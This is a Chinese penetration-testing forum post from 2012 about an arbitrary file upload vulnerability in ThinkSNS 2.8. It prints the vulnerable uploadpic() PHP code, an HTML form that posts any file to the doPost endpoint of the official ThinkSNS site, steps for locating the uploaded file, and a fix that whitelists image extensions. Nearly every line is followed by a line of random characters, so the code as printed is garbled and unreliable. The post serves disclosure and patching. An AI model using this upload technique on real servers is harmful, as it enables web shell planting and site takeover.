中国网络渗透测试联盟
标题:
ThinkSNS 2.8任意文件上传漏洞及修复
[打印本页]
作者:
admin
时间:
2012-12-4 11:12
标题:
ThinkSNS 2.8任意文件上传漏洞及修复
微博上传图片时只在前端进行验证, 服务器端没有进行安全过滤。
m+ k( e/ E. K% _
4 B! d' k9 ^% W7 z& @' `- {: ]5 E
3 y- q8 n! G- ]) }- { _" n
\api\StatusesApi.class.php
* d) _. z5 ^- o1 m! C2 G% i# Z
8 r4 G2 q2 c( I- L8 D2 G
function uploadpic(){
' U8 X# N) _$ o- C# m
if( $_FILES['pic'] ){
3 O( g! h( Z1 q
//执行上传操作
! s& u! z) p+ Q6 ~+ ^& p
$savePath = $this->_getSaveTempPath();
# `7 E! U4 z; c( _ f
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
( o1 X/ `$ A6 v& Z5 d. t
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
9 w1 d, q8 W; P% j
{
% ?, T! p+ b0 A5 ]) l! c+ g+ z
$result['boolen'] = 1;
% l. e, q. Z, ~- ^* P" l2 c! C
$result['type_data'] = 'temp/'.$filename;
7 | q! \; S5 N- W
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
1 {1 G- ?' o6 X0 k% V( ?
} else {
, p0 p, M. [! \, \; t
$result['boolen'] = 0;
, [7 G$ \! I9 G8 R1 K& h$ f7 w
$result['message'] = '上传失败';
" ]6 A \/ u( y' ^, v% T9 H6 @
}
5 a- ?6 F" C/ X* R
}else{
, X# @0 \ E/ e4 s. \
$result['boolen'] = 0;
; k- I$ l! k# N1 ]0 {4 |& p0 r
$result['message'] = '上传失败';
7 B" i7 |! Y J4 }
}
& q9 k- e$ I6 i; S
return $result;
3 t3 f$ T- d5 b8 }; W$ Y
}
/ M# ]# E* Y2 B
unloadpic()方法没有对文件类型进行验证
- G- {) w5 s% }. z$ a K
! o3 ]( i3 I) D3 s5 U; r$ b
可以构建表单, 选择任意文件, 提交到
! y2 ^ ~8 a4 G
/index.php?app=w3g&mod=Index&act=doPost
6 A5 Z4 ?/ q1 v, ]# p: L
% y4 l, W" F9 S
在新提交的微博上可以找到上传的文件地址(去掉small_、middle_ 前缀)
) G; x& P- c, e! I5 j
9 o ]9 ]/ W9 `' O
# {# `1 v7 a8 K% B5 j/ Q7 ^- h
在登录thinksns官方微博后,
/ _: b, Q" f" g. f* D8 `
构建以下表单:
0 M) s1 s, h/ P3 S
& z5 X% n2 b9 U: M2 k; [
<form action="http://t.thinksns.com/index.php?app=w3g&mod=Index&act=doPost" method="post" enctype="multipart/form-data" />
5 H1 B0 ~( Z0 |
<textarea name="content">test</textarea>
, P* G# e; p% X, G0 b! O
file: <input id="file" type="file" name="pic" />
) E& U- {$ i- v3 x
<input type="submit" value="Post" />
: k; R- j# P# l! x7 B" F
</form>
- L5 V1 o$ h: z5 @- P- ^
去掉缩略图的前缀(small_ )
* `7 E: ^$ K h9 o: o
修复方案:
' n6 c8 h( T* M+ T; ]
9 e: h5 P7 i ^- F
( G! b2 s" L& X' E- ~+ U
\api\StatusesApi.class.php
* P% l5 \! q% ^! L: i" \- Z$ `
! K+ v! S1 H2 _9 n2 I/ w) P
function uploadpic(){
, Y5 M# c8 s) V7 J
/**
8 N. G2 [# E; Q. b. c
* 20121018 @yelo
. x: S1 m3 Y8 E
* 增加上传类型验证
# i2 ^+ y% |/ _- X$ v r
*/
) s- S" o' k6 X/ O5 [
$pathinfo = pathinfo($_FILES['pic']['name']);
- N, @% i' y4 U
$ext = $pathinfo['extension'];
$ U% N( n) U! _3 l6 x
$allowExts = array('jpg', 'png', 'gif', 'jpeg');
& j C8 Q/ X l; P+ J7 c
0 A1 S3 N2 D9 A, Q( j q4 Z
$uploadCondition = $_FILES['pic'] && in_array(strtolower($ext),$allowExts,true);
& [( J3 G+ P7 T" @0 ?. ?! J
) L5 ]( n( I' T7 F
if( $uploadCondition ){
* ]9 b" h, g6 r; E+ q8 b
//执行上传操作
: d; a3 c' |; K9 A) ?7 Q+ ?
$savePath = $this->_getSaveTempPath();
1 X9 u: G2 U- B0 _/ |( O
$filename = md5( time().'teste' ).'.'.substr($_FILES['pic']['name'],strpos($_FILES['pic']['name'],'.')+1);
' Q6 b3 ]% k! A5 w- O
if(@copy($_FILES['pic']['tmp_name'], $savePath.'/'.$filename) || @move_uploaded_file($_FILES['pic']['tmp_name'], $savePath.'/'.$filename))
: a, g. u& n6 a0 t3 x% m8 T
{
2 x: I- S. P7 `
$result['boolen'] = 1;
9 F) s, l- p- k! ?" D4 n* t. S
$result['type_data'] = 'temp/'.$filename;
5 I6 H. t" q! Q, ]+ p
$result['picurl'] = SITE_PATH.'/uploads/temp/'.$filename;
* `/ s) u- V$ {# b/ G
} else {
! n7 v3 M' E# R0 H( H _
$result['boolen'] = 0;
) E+ L4 f2 s5 h/ M' f$ W+ B1 M
$result['message'] = '上传失败';
% V( F( s1 t/ t% k- {2 |1 O( j r! D
}
6 U9 T/ ^- V4 u
}else{
5 q2 ~5 Z; K9 o/ f8 o/ Q
$result['boolen'] = 0;
, z' ? Y% b" }0 H. `1 E( D
$result['message'] = '上传失败';
! j. w6 d7 c! h/ w& @; R
}
' C6 X9 J8 I8 x) h7 `) S& |
return $result;
! E" `# P1 ]) {/ y3 Z4 w
}
# {4 G$ e, t+ g( Y/ V4 ?
6 A/ ^- m2 P2 I" M
6 M0 ^, l$ \3 P4 U' y" c9 ]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2